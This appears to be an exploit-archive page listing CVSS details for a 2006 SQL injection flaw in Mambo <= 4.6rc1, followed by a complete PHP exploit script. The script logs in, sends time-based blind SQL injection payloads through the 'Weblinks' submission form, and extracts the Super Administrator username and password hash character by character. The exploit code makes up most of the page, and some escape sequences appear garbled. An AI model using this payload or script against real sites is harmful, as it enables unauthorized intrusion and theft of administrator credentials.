Mambo <= 4.6rc1 sql injection
CVE
Category
Price
Severity
N/A
CWE-89
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2006-07-12
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006060162 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Mambo <= 4.6rc1 'Weblinks' blind SQL injection / admin credentialsrn";
echo "disclosure exploit (benchmark() vesion)rn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrn";
echo "this is called the Sun-Tzu 'trascendental guru meditation' tecniquernrn";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to Mamborn";
echo "user/pass: you need an accountrn";
echo "Options:rn";
echo " -T[prefix] specify a table prefix different from 'mos_'rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Example:rn";
echo "php ".$argv[0]." localhost /mambo/ username passwordrn";
die;
}
/*
explaination:
sql injection in "title" argument when you submit a web link, poc:
start mysql daemon with log option...
>mysqld --log=mambo.txt
now login, go to "Submit Weblink" feature, in "Name: " field type:
99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*
in mambo.txt we have:
13 Query SELECT id FROM mos_weblinks
WHERE title='99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*' AND catid='2'
injection is blind but, as you can see, we can you use time delays through Mysql
benchmark() function to ask questions about tables
this works regardless of magic_quotes_gpc settings
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="mos_";
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data ="username=".$user;
$data.="&passwd=".$pass;
$data.="&remember=yes";
$data.="&option=login";
$data.="&Submit=login";
$data.="&op2=login";
$data.="©=english";
$data.="&return=".urlencode("http://".$host.$path);
$data.="&message=0";
$packet ="POST ".$p." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closern";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Content-Length: ".strlen($data)."rnrn";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");}
else
{
echo "Done...rncookie -> ".$cookie."rn";
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
$sql="99999' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "rn".$sql."rn";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=http://www.google.com";
$data.="&description=";
$data.="&id=0";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=0";
$data.="&Returnid=0";
$packet ="POST ".$p."index.php HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closern";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Content-Length: ".strlen($data)."rnrn";
$packet.=$data;
//debug
//echo quick_dump($packet)."rn";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."rn";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."rn";
if ($difftime > 7) {$admin.=chr($i);echo "admin -> ".$admin."[???]rn";sleep(2);break;} //more than seven seconds? we succeed...
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$starttime=time();
$sql="99999' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*";
echo "rn".$sql."rn";
$sql=urlencode($sql);
$data ="title=".$sql;
$data.="&catid=2";
$data.="&url=http://www.google.com";
$data.="&description=";
$data.="&id=0";
$data.="&option=com_weblinks";
$data.="&task=save";
$data.="&ordering=0";
$data.="&approved=0";
$data.="&Returnid=0";
$packet ="POST ".$p."index.php HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closern";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Content-Length: ".strlen($data)."rnrn";
$packet.=$data;
//debug
//echo quick_dump($packet)."rn";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."rn";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."rn";
if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]rn";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...rn";
echo "--------------------------------------------------------------------r
n";
echo "admin -> ".$admin."rn";
echo "password (md5) -> ".$password."rn";
echo "--------------------------------------------------------------------r
n";
?>
original url: http://retrogod.altervista.org/mambo_46rc1_sql.html
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